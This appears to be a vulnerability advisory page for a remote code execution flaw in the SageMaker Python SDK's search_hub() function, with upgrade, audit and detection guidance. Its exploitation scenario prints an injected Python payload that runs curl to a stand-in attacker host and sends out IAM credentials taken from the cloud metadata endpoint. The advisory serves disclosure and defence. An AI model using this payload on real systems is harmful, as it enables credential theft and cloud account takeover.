AI Threat Alert
If your teams use Amazon SageMaker Python SDK < 3.4.0 and pass any user-controlled or externally-sourced data to the JumpStart search_hub() function, you are exposed to Remote Code Execution. Upgrade to sagemaker>=3.4.0 immediately — the fix replaces eval() with a safe parser. Audit all code paths that reach search_hub() for untrusted input; SageMaker execution roles typically carry broad AWS IAM permissions, making post-RCE lateral movement a realistic follow-on threat.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| sagemaker | pip | < 3.4.0 | 3.4.0 |
Do you use sagemaker? You're affected.
Severity & Risk
Recommended Action
- 1. IMMEDIATE: Upgrade all environments — `pip install --upgrade 'sagemaker>=3.4.0'` — including CI/CD, notebook servers, training jobs, and containerized inference endpoints. 2. Audit codebases for all calls to search_hub() and trace every data flow reaching that function's query parameter; flag any path that accepts external or user-supplied input. 3. Enforce strict input validation and allowlisting for query parameters before they reach any SDK method. 4. Apply least privilege to SageMaker execution IAM roles — limit blast radius if RCE does occur. 5. Detection: monitor SageMaker execution environments for anomalous subprocess spawning, outbound network connections to unexpected endpoints, or unusual IAM API calls (GetCallerIdentity, AssumeRole) originating from notebook or training instances.
Classification
Compliance Impact
This CVE is relevant to:
Technical Details
NVD Description
## Summary This advisory addresses the use of the search_hub() function within the SageMaker Python SDK's JumpStart search functionality. An actor with the ability to control query parameters passed to the search_hub() function could potentially provide malformed input that causes the eval() function to execute arbitrary commands, access sensitive data, or compromise the execution environment. A defense-in-depth enhancement has been implemented to replace code evaluation with safe string operations when processing search query parameters. This enhancement removes the use of eval() from the execution path, replacing it with a safe recursive descent parser. The change was released in SageMaker Python SDK version 3.4.0 on January 23, 2026. This advisory is informational to help customers understand their responsibilities regarding input validation and configuration security under the [AWS Shared Responsibility Model](https://aws.amazon.com/compliance/shared-responsibility-model/). ## Impact Customer applications that pass unsanitized or untrusted input directly to the search_hub() function's query parameter could be prone to Remote Code Execution (RCE), potentially allowing attackers to execute arbitrary commands, access sensitive data, or compromise the execution environment. While the SDK was functioning within the requirements of the shared responsibility model—where input sanitization falls on the customer side—additional safeguards have been added to support secure customer implementations and provide defense-in-depth protection. **Impacted versions:** All versions of SageMaker Python SDK prior to 3.4.0 ## Patches On January 23, 2026, an enhancement was made to SageMaker Python SDK version 3.4.0, which replaces eval() with a safe recursive descent parser that uses string operations for pattern matching with proper operator precedence and exception handling. We recommend upgrading to version 3.4.0 or later, using the following command: ``` pip install --upgrade sagemaker>=3.4.0 ``` Customers using forked or derivative code should incorporate the fixes from the referenced pull request. ## Workarounds No workarounds are needed, but as always you should ensure that your application is following security best practices: - Sanitize and validate input to SDK methods to ensure only expected formats are processed - Update to the latest SageMaker Python SDK release on a regular basis - Follow AWS security best practices for SDK configuration and usage - Ensure proper access controls are in place for environments where the SDK is deployed ## References - Fixed in PR: https://github.com/aws/sagemaker-python-sdk/pull/5497 - Release: https://pypi.org/project/sagemaker/3.4.0/ - AWS Shared Responsibility Model: https://aws.amazon.com/compliance/shared-responsibility-model/ If you have any questions or comments about this advisory, contact AWS Security via our [vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting/) or email [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue. ## Acknowledgement We thank Dan Aridor (@daridor9) and the security research community for bringing these customer security considerations to our attention through the coordinated disclosure process and for collaborating on this issue through responsible disclosure practices.
Exploitation Scenario
An adversary targeting an organization's internal ML platform that exposes SageMaker JumpStart model search via a web UI or REST API crafts a query string embedding Python code — e.g., embedding `__import__('os').system('curl http://attacker.com/exfil?creds=$(curl 169.254.169.254/latest/meta-data/iam/security-credentials/)')` — and submits it as a search query. The application passes the unsanitized string to search_hub(). The SDK's eval() executes the injected expression under the SageMaker execution role. The attacker retrieves IAM credentials from the instance metadata endpoint, gains persistent access to the associated AWS account, and pivots to S3 buckets containing training data, proprietary models, and sensitive business data without triggering CloudTrail alerts specific to the SDK.